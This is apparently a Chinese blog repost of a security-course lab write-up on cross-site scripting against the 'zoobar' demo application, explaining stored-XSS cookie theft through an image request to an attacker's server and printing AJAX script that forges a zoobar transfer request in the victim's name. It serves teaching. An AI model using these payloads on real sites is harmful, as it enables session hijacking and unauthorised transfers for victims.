XSS跨站脚本攻击

作者写的很仔细,推荐推荐:原文链接:记一次跨站脚本攻击(XSS)实例
XSS原理:XSS攻击是指”黑客”通过”HTML注入”篡改了网页,插入了恶意脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。在一开始,这种攻击演示案例是跨域的,所以称为“跨站脚本“。但是发展到今天,由于JavaScript的强大功能以及网站前端应用的复杂化,是否跨域已经不在重要。由于历史的原因,XSS这个名字一直保存下来。

具体演示

任务一:偷cookie
原理:在同一个网站,有很多注册用户,每个注册用户都有自己的简介,并且可以看到别人的简介。如果用户A在自己的额简介里面输入的是一段可以在浏览器中执行的JavaScripr脚本语言,该脚本语言输入之后,将被保存在后台的服务器数据中,如果有另一用户B在登陆的时候看到A的简介,会向服务器提出一个请求,服务器会从数据库中找到A的资料显示在B的浏览器端。然而这一段资料有点特殊,它是可以在浏览器端执行的脚本语言,因此此时B的浏览器端获取到改资料之后,浏览器会对其进行解析,然后显示,在执行的过程中就执行了A所希望的恶意代码。

用户A相偷用户B的cookie,它可以在自己的简介里面写显示一张图片的脚本,而该图片的请求地址来自于A自己所搭建的恶意网站。那么,如果此时B看A的资料,在浏览器执行脚本的过程中会发现,需要请求一张图片显示出来,而图片的源来自另外一个地址,那么B的浏览器只好再发一个请求到该地址,而该请求中则包好了B的cookie,由于该请求是A搭建的,因此A就获取到了B的cookie。

用户观看别人简介显示在自己的浏览器时,服务器对字符串的过滤代码。
1.我从简介里面的输入与服务器端真正存进去的输入是否一致?
2.从数据库中提出的字符显示在浏览器时与我输入时是否一致?
XSS跨站脚本攻击_第1张图片
保存到数据库之后显示为如下代码:
XSS跨站脚本攻击_第2张图片
此时开一个服务器echoserver,设定端口号为5555
B看A的简介显示为:
XSS跨站脚本攻击_第3张图片
A所搭建的服务器收到B的请求,得到cookie
这里写图片描述

任务2:转移zoobar

1.原理:
当B看到A的简介时,自己的zoobar被莫名其妙的转移走了。此时在B的登陆页面,B看A的简介执行了一段脚本,该脚本发送给服务器,是以自己的cookie发送的,因此该脚本的作用是伪造一个请求,以B的名义,向服务器转移zoobar的表单。
2.在d的页面以ajax写出如下代码,ajax是异步的html,代码如下:

<script>
function loadXMLDoc(){
   var url = "http://127.0.0.1:8080/myzoo/transfer.php";
   var postStr = "zoobars=1&recipient=d&submission=Send";
   var ajax = null;
   if(window.XMLHttpRequest){
     ajax = new XMLHttpRequest(); 
  }else if(window.ActiveXObject){
     ajax = new ActiveXObject("Microsoft.XMLHTTP");
  }else{
     return;
  }
  ajax.open("POST",url,true);
  ajax.setRequestHeader("Content-type","application/x-www-form-urlencoded");
  ajax.send(postStr);

  ajax.onreadystatechange = function(){
    if(ajax.readyState == 4&& ajax.status == 200){
      alert('done');
  }
  }
}
script>
<button type="button" onclick="loadXMLDoc()">Click MeButton>

创建了一个Button,当点击该button时,执行的是一个function,该function伪造了一个表单请求提交给服务器,最主要的为:
1.ajax.open中的url,这里是指提交给服务器的哪一个文件,这里的地址是需要我们伪造的
2.ajax.send中的参数postStr,这里也需要我们伪造

你可能感兴趣的:(前端安全)